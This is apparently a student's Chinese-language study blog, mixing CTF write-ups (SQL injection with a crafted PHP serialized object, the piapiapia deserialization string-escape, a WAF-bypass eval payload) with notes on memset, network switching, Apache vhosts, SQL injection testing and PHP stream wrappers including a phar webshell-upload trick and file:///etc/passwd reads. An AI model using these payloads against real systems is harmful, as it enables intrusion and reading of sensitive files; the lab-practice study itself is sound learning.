我们要做的就是让数据库查到的请求返回的是我们恶意构造的序列化对象,该对象的blog为file:///var/www/html/flag.php。
就是要把 O:8:”UserInfo”:3:{s:4:”name”;s:3:”123”;s:3:”age”;i:0;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;} 这一串当作查询返回的结果,应该怎么办呢?UNION SELECT!
注意与列对应(根据我们刚才查的列,知道data是第四个字段,所以把payload放到第四个字段上对应~)
payload:http://7f8c0885-83d5-462e-b56a-175f6b06308b.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:4:%22test%22;s:3:%22age%22;i:123;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27
然后查看源码中的iframe,解密base64得到flag。

在上帝视角再看这道题

为了证明我的思路是正确的,我利用SSRF漏洞获取到了db.php,user.php,show,php,join.ok.php
下面是view.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php require_once 'error.php'; ?>
<?php

$db = new DB();

?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>User</title>

<?php require_once 'bootstrap.php'; ?>
</head>
<body>
<?php

$no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
}

$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);

?>
<div class="container">
<table class="table">
<tr>
<th>
username
</th>
<th>
age
</th>
<th>
blog
</th>
</tr>
<tr>
<td>
<?php echo $res['username']; ?>
</td>
<td>
<?php echo $user->age; ?>
</td>
<td>
<?php echo xss($user->blog); ?>
</td>
</tr>
</table>

<hr>
<br><br><br><br><br>
<p>the contents of his/her blog</p>
<hr>
<?php

$response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
}

else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
}

// var_dump($user->getBlogContents());
?>

</div>
</body>
</html>

其中,

1
2
$res = $db->getUserByNo($no);
$user = unserialize($res['data']);//这句话也解释了为什么要对应第四个字段。

这两句话印证了我的思路:反序列化数据库中的data字段—存放的user,反序列化后调用getBlogContents(),在getBlogContents()中调用get(user->blog),在这里面CURL请求,然后在前端输出base64加密的值。

总结

我太菜了。综合利用还是不行,说明我每个点还没都弄明白。尤其是正则表达式,只能看个大概,复杂的就不懂了,还需要继续学习

最近一直在做动态规划有关的问题,并且经常性的需要把dp数组置为0,就经常性的用memset(dp,0,sizeof(dp))这么写。。直到今天。
今天遇到了一道题 需要把dp数组初始化为1,我就像往常一样写了memset(dp,1,sizeof(dp)),但是整体代码写完后怎么都不对 然后输出一看一串奇怪的数字16843009。。

1
2
3
4
5
6
7
8
9
10
#include<bits/stdc++.h>
using namespace std;

int main() {
int a[10];
memset(a,1,sizeof(a));
for(int i=0;i<10;i++)
cout<<a[i]<<" ";
return 0;
}

what happened?
首先要知道memset在哪,在string.h头文件里面。
memset是按字节赋值,int4字节,memset(dp,1,sizeof(dp))这句话的意思就是把每个int型的dp的每个字节都赋值为00000001,那么每个int型dp元素的值为:
00000001 00000001 00000001 00000001,转换成十进制就是16843009。那为什么赋值0或者-1没错?
因为0的补码是00000000,-1的补码是11111111,再翻译回去还是0和-1。所以除了0和-1赋值的话可以用fill。
比如fill(a,a+n,1)这样就可以把数组a的每一个元素的值都赋值为1了。

二层交换与三层交换的问题其实是偶然看到的,看某校夏令营经验贴看到有提问这个问题,正好我不会,记录一下。

参考链接:
https://zhuanlan.zhihu.com/p/64455461
https://blog.csdn.net/Apollon_krj/article/details/82086174
https://blog.csdn.net/lycb_gz/article/details/8780851
二层交换机工作在数据链路层,根据MAC地址对帧进行转发;
三层交换机工作在网络层,对于跨网段的通信,可以做到一次路由,多次交换。

用到的知识点

在说二三层转发之前先总结一下用到的知识点,虽然我学过一遍计算机网络,但自认为学的很菜。。有些地方都忘了。。甚至某协议首部某字段还没记住23333
1.ARP
ARP协议是由IP地址获得MAC地址,假设两台主机在同一网段,A向B发消息,A知道B的IP地址 但是不知道B的mac地址,所以在局域网内发个广播,目的MAC全为F,意思就是:“谁的IP地址为192.168.2.2?赶紧把mac地址告诉我”
局域网内其他主机看到这条消息后发现目的ip不是自己的,于是丢弃;B看到后发现是找的自己,于是把自己的mac地址发给了A,于此同时B在自己的ARP表中记录下A的IP与MAC地址的映射关系。
A收到B发的消息后也把B的IP与MAC的映射关系记录到自己的ARP表中。。这就是一次简单的ARP请求
2.跨网段通信
假设A和B不在一个网段,通信过程应该是这样:
先和子网掩码相与,发现不在一个网段,然后找自己的网关,把数据发给网关让网关代为转发;在这个过程中如果不知道网关的MAC就来一次ARP。发送给网关后,查一下路由表,看看下一跳该发到哪了,就这样一直转发,查找下一跳,转发。。无限套娃。套到最后节点,发现目的IP在自己的网段,先看看ARP表有没有记录,没有的话发一次ARP请求,有的话就直接把请求发给目的IP了。
3.ARP表 mac表
二层交换机维护MAC表,主机维护ARP表

二层交换

二层交换是数据链路层的交换,根据mac地址交换。二层交换通信不能跨网段(比如vlan)。
二层交换机维护的MAC表是端口和MAC地址的映射关系。

三层交换

三层交换又被叫做一次路由,多次交换。
这是啥意思?
先说一个简单的:
假设一台三层交换机划分了vlan1和vlan2,a在vlan1,b在vlan2,a第一次给b发数据的时候还是正常走路由表,等整个过程结束后三层交换机会记录下一条数据,包括了A和B的mac地址端口等相关信息,下次A和B通信的时候直接根据这条数据通过二层转发了,就不用再走路由了。
of course,事情没有那么简单,too simple,sometimes naive!
上面这句话就图一乐,就像面试问TCP 三次握手的时候你说“客户端发请求,服务器响应,客户端再发一个请求,建立连接。”一样,太不专业了。
好的 接下来说个复杂的。

三层交换跨网段通信

主机A和B在同一个交换机,但是在不同vlan。观察a和b的通信过程
初始化,a发现b和自己不一个网段并且不知道网关的mac,广播一个ARP,目的是找到网关的MAC。
网关收到ARP请求后把自己的mac地址发给a,并且在自己的arp表中记录a端口和mac的映射关系。
然后把A的IP地址(作为“目的IP地址”)、MAC地址(作为“下一跳MAC地址”),以及与交换机直接相连的端口号等信息下发到三层交换机ASIC芯片中的三层硬件转发表。此时在三层硬件转发表中就有了第一个转发表项,即A的转发表项。
A收到网关的应答后,把目的地址修改问网关的mac,并且把数据包发给网关
网关收到请求后,先在三层硬件转发表中查找与B有关表项,由于是第一次通信,所以没有,然后进行路由。
CPU根据目的地址在router table中查找next hop,发现了直连的主机b,然后在自己的arp表中查b的mac,没有查到,于是发个广播:找B的mac。
B收到ARP请求后把自己的mac发给交换机,自己也缓存下。
交换机收到b的mac后,在自己的arp表中记录下ip与mac的映射;在三层硬件转发表中新增一项: B的IP地址、MAC地址、进入交换机的端口号等信息。
这样就完成了第一次A和B的通信,三层交换机的硬件转发表中多了两项:分别是
A的IP A的port A的mac A的vlan 。。。
B的IP B的PORT B的MAC B的VLAN 。。。
等下次有别的主机想和A或者B通信的时候,由于表中有记录,直接走表中记录的端口转发过去就可以了。
即 一次路由,多次交换~(首尾呼应2333

arp全0和全f的问题

在网络层的ARP协议(TCP/IP模型)不知道目的mac,所以把目的mac置0;到了数据链路层置为全F 意为广播帧–数据链路层不认识ip。
如果有错误欢迎提出,共同进步

php unserialize

之前没怎么接触过PHP反序列化的问题,这两天碰巧做了一道往年的题,遇到了,算是初步了解了PHP反序列化的问题,记录一下解决思路
题目链接:https://buuoj.cn/login?next=%2Fchallenges%3F#%5B0CTF%202016%5Dpiapiapia

环境探测

PHP版本5.6 没有发现其他有用信息
用扫描器扫了一下发现了网站备份,下载下来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
class.php
require('config.php');

class user extends mysql{
private $table = 'users';

public function is_exists($username) {
$username = parent::filter($username);

$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}

class mysql {
private $link = null;

public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");

return $this->link;
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>

阅读源码后发现其资料更新流程是这样的:
在update.php点击更新资料后,在本页面处理,经过正则表达式过滤后通过的话,在user类中的update_profile方法中执行序列化后的profile
$user->update_profile($username, serialize($profile));
跟进user->update_profile方法:
用户名和资料经过过滤器fileter过滤后直接丢给mysql更新,继续跟进filter
主要是正则替换。把危险字段替换为“hacker”。这里有问题。暂时不管,继续跟进。
顺利通过filter后则可顺利更新用户资料。
再看profile.php里面这句话:
$photo = base64_encode(file_get_contents($profile[‘photo’]));
file_get_contents 是不是想到了什么?伪协议?
我们想读取到的文件是config.php 因为里面已经提示了有flag字段。
接下来我们要做的是让file_get_contents()包含config.php这个文件
先自己尝试下替换文件名,失败了。
接下来考虑伪协议,也失败了。。
然后考虑反序列化的问题
首先明白什么是反序列化
个人理解反序列化就是把对象,变量,各种属性不一的文件通过一种形式的转换转换成字符串(序列化),并且还能通过该字符串还原该对象(反序列化)
一个例子就是ss导出配置的时候给他base64解密看看是不是序列化的思想呢2333
举个栗子

反序列化严格按照长度进行反序列化,如果长度改变的话可能反序列化失败。比如:

在反序列化之前,我把最后一个字符串加了一个d 但是前面的长度还是5没有变,所以反序列化失败了,报错。
还有一种情况:
通过自己构造的反序列化对象,可以修改对象的某些属性。
比如之前c的最后一个字符串为234,我们构造$c1=’a:3:{i:0;s:3:”123”;i:1;s:3:”abc”;i:2;s:5:”wdnmd”;}”;i:2;s:3:”234”;}’;
就把最后一个属性的值换成了wdnmd,后面原来的字符串会被忽略。起到了夹带私货的作用。

这道题我们想让photo的值为config.php,所以需要利用上面说的字符串逃逸的问题,将payload挤到后面去。
具体什么意思?
对nickname的内容进行构造,我们知道,序列化之后长度固定不变。就是S:后面的数字。但是问题就出现在他存在一个字符串替换,把where替换成hacker,使得字符串长度+1。那么问题来了,如何利用?
首先绕过正则表达式对nickename的判断,用数组就好。nickname[]
我们想传入的字符串为 “;}s:5:”photo”;s:10:”config.php”;} 总长度为34,所以我们需要写34个where加上我们想传入的字符串作为payload,总长度为204(包括34个where和想传入的字符串)
在经过序列化,过滤的过程中,所有的where被替换成和hacker,这样序列化后的s:204不变,nickname的值变成了34个hacker,并且成功的修改了photo的值为config.php
payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;}
注意:
任何不正确的反序列化是会失败的。
In the end:
php unserialize的问题有很多,我只是学习到了其中的一个,等学习到了其他的问题继续整理、巩固下来。

apache与php

当客户端请求www.test.com/1.php的时候,apache监听80端口,收到客户端的请求后发现是PHP文件,将该文件先给PHP解释,解释完之后渲染成html给apache服务器,apache再返回给客户端。

vhost与hosts文件

hosts文件在本机代表本机dns 格式 IP DOMAIN,位置/Windows/system32/drivers/etc/hosts文件在本机代表本机dns
vhost文件代表了apache配置的虚拟网站。即同一主机的多个网站,需要配置根目录,域名,端口等信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<VirtualHost *:80>
DocumentRoot "E:/phpstudy_pro/WWW/dura.box"
ServerName dora.box
ServerAlias
FcgidInitialEnv PHPRC "E:/phpstudy_pro/Extensions/php/php7.3.4nts"
AddHandler fcgid-script .php
FcgidWrapper "E:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe" .php
<Directory "E:/phpstudy_pro/WWW/dura.box">
Options FollowSymLinks ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
DirectoryIndex index.php index.html error/index.html
</Directory>
ErrorDocument 400 /error/400.html
ErrorDocument 403 /error/403.html
ErrorDocument 404 /error/404.html
ErrorDocument 500 /error/500.html
ErrorDocument 501 /error/501.html
ErrorDocument 502 /error/502.html
ErrorDocument 503 /error/503.html
ErrorDocument 504 /error/504.html
ErrorDocument 505 /error/505.html
ErrorDocument 506 /error/506.html
ErrorDocument 507 /error/507.html
ErrorDocument 510 /error/510.html
</VirtualHost>

这里的域名dura.box其实我并没有注册,我这样写只是为了便捷访问。修改本地dns文件,添加记录 127.0.0.1 dura.box 然后cmd ipconfig/flushdns刷新本地dns缓存
重启apache服务,下次访问dura.box的时候就相当于访问根目录为E:/phpstudy_pro/WWW/dura.box/的网站。

今天睡了12个小时。。离谱儿。

整理一下这两天做的题以及学的内容吧 我这两天睡得这么久是真离谱!!

php strstr()

strstr(str1,str2)
返回从str2第一次出现开始之后的内容(包括str2)
比如 strstr(“phpinput”,”in”)
– input

php字符串解析bypass

前天做了个php字符串解析的问题(buuoj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

直接传num=phpinfo()的话是不行的,有waf。
waf的规则如果是规定num只能是数字的话,给num传个字母就白给了。
这里就用到了php字符串解析漏洞了。
参考链接https://www.freebuf.com/articles/web/213359.html
传一个?%20num=phpinfo()的话,waf找不到num这个参数,而php还是可以把%20num识别成num的。所以可以顺利的到eval那。
payload: ?%20num=var_dump(scandir(chr(47))) //chr47是/ 代表根目录 找到flag文件 然后file_get_contents(dir+filename)进行读取即可。这里过滤了/,所以用chr(47)代替

mysql if()

IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,
则返回expr3的值。
比如 if(2>1,1,0)

mysql 注释

#或者– 如果使用–的话后面需要一个间隔符 否则的话会被识别为+号。比如–+ (在url中 +是空格的url编码)

sql注入整型、字符型判断

参考链接:https://www.cnblogs.com/puhk/p/12674740.html
举例:
http://xxx/xxx/Less-1/?id=1 and 1=1 –+
输入?id=1 and 1=1 –+正常,输入?id=1 and 1=2 –+报错,可判断为整型注入。
http://xxx.xxx/Less-1/?id=1'
输入?id=1’出现报错,输入?id=1’’正常,可判断为字符型注入。
http://xxx.xxx/Less-1/?id=1' and 1=1 – -
输入?id=1’ and 1=1 – -正常,输入?id=1’ and 1=2 – -报错,可判断为字符型注入。

mysql盲注初步

参考链接 https://www.anquanke.com/post/id/170626
盲注分为基于时间的盲注和基于bool的盲注。
基于时间的盲注就是根据判断条件返回是true还是false 进行能够判断的操作(比如sleep) 可以理解为一种fuzz。
if(substr(database(),1,1)==97,sleep(1),0) 可以写脚本跑出来数据库的名字等等
布尔盲注是根据结果返回值(对应true false )判断需要找的字段 然后进行爆破

今天本来想晚上整理php伪协议的 但是早晨起晚了。。下午起晚了。。晚上弄实验报告的环境弄了一晚上。。太离谱了,明天再详细的写伪协议吧。
我今天也起晚了!!
废话少说 开始今天的php伪协议总结

参考链接

https://www.jianshu.com/p/0a8339fcc269

php://filter:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,主要用于读取源代码并进行base64编码输出。
eg:php://filter/convert.base64-encode/resource=xxx.php
php://input: 获取post data
file://:用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响,file://还经常和curl函数(SSRF)结合在一起。
eg:file:///etc/passwd
phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用。
nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php
data://:需满足allow_url_fopen,allow_url_include同时开启才能使用,使用如下:
data://很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入
file.php?file=data://text/plain,
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=